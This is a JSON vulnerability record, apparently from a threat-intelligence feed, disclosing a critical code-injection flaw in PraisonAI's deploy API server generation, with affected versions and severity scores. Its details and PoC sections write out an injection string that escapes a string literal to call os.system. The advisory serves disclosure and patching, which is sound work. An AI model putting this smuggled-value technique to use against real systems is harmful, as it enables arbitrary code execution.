{"schema":"threatline.record/2","record":{"id":"CVE-2026-62176","aliases":["CVE-2026-61444","GHSA-g6j7-pffp-8whg","PYSEC-2026-4256"],"summary":"PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation","details":"### Summary\nThe `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.\n\n### Details\n\n`src/praisonai/praisonai/deploy/api.py` (line 80):\n\n```python\ncode = f'''...\n    praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n    \"agent_file\": \"{agents_file}\"\n...'''\n```\n\nThe generated code is then executed (line 190):\n```python\nsubprocess.Popen(['python', server_file])\n```\n\n`agents_file` is never sanitized or validated. A malicious value breaks out of the string context:\n\n```python\nagents_file = '\"); import os; os.system(\"id\"); #'\n# Generated code becomes:\n# praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\nThe same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation.\n\n\n### PoC\n\n```python\n# The injection:\nagents_file = '\"); import os; os.system(\"id\"); #'\n\n# What the generated code looks like:\ntemplate = f'praisonai = PraisonAI(agent_file=\"{agents_file}\")'\nprint(template)\n# Output: praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\n### Impact\n- **Arbitrary code execution** on the machine running the deploy command\n- **Supply chain risk** if `agents_file` comes from a configuration file or CI/CD pipeline","categories":["Libraries & packages"],"product":"PraisonAI","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","source_modified_at":"2026-10-07T16:05:54Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"PraisonAI"},"range":"<= 4.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-62176","source_modified_at":"2026-10-07T16:57:30.065Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"version":"< 4.6.78","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-g6j7-pffp-8whg","source_modified_at":"2026-10-15T14:56:12.523244698Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","source_modified_at":"2026-10-07T16:05:54Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"PraisonAI"},"version":"4.6.78"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-g6j7-pffp-8whg","source_modified_at":"2026-10-15T14:56:12.523244698Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"version":"4.6.78"}],"cvss":9.1,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.0046,"percentile":0.38975,"score_date":"2026-10-23"},"published_at":"2026-10-07T16:06:56.016Z","modified_at":"2026-10-15T14:56:12.523244698Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T16:05:54Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-62176","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-07T16:57:30.065Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-g6j7-pffp-8whg","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-15T14:56:12.523244698Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62176","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-g6j7-pffp-8whg","tags":["exploit"]},{"url":"https://github.com/advisories/GHSA-g6j7-pffp-8whg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-07T16:57:09.228475Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:56:12.523244698Z","content_hash":"ad2674c75d7fbbcc1e3328515300b06fd29d2cb93382a27d243c5022a68fd9a0"}}
